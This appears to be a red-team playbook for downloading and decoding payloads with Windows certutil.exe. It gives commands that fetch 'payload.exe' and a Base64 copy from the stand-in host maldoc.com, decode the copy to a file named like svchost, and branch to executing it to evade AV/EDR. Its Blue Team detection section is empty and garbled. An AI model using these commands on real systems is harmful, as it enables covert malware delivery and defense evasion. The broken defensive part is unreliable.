certutil-download-execution

Payload Download and Decoding via Certutil

When to Use

• During a Red Team engagement or post-exploitation when you have command execution and need to transfer a payload onto the target system.
• When standard tools like Invoke-WebRequest or bitsadmin are blocked or highly monitored by EDR solutions.
• To evade network signatures by downloading an innocuous Base64 encoded file and decoding it locally using native Windows tools.

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Basic Ingress Tool Transfer

# Concept: Use certutil.exe to fetch a file via HTTP nimbly # -urlcache: caches the URL. -split: splits the embedded ASN.1 elements and saves to file. -f: forces overwrite.
certutil.exe -urlcache -split -f "http://maldoc.com/payload.exe" C:\Windows\Temp\updater.exe

Phase 2: Defense Evasion through Base64

# base64 raw_payload.exe > payload.b64

Phase 3: Downloading and Decoding on Target

# certutil.exe -urlcache -split -f "http://maldoc.com/payload.b64" C:\Windows\Temp\payload.b64

# certutil.exe -decode C:\Windows\Temp\payload.b64 C:\Windows\Temp\svchost_update.exe

Phase 4: Cleaning Up

# certutil.exe -urlcache -split -f "http://maldoc.com/payload.exe" delete

Decision Point 🔀

flowchart TD
    A[Attempt Download ] --> B{Blocked by AV/EDR? ]}
    B -->|Yes| C[Use Base64 Encoding ]
    B -->|No| D[Execute Payload ]
    C --> E[Decode & Execute ]

🔵 Blue Team Detection & Defense

• Monitor certutil.exe Execution: Inspect Command Line Arguments: EDR Pattern Matching: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Certutil Download Execution — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]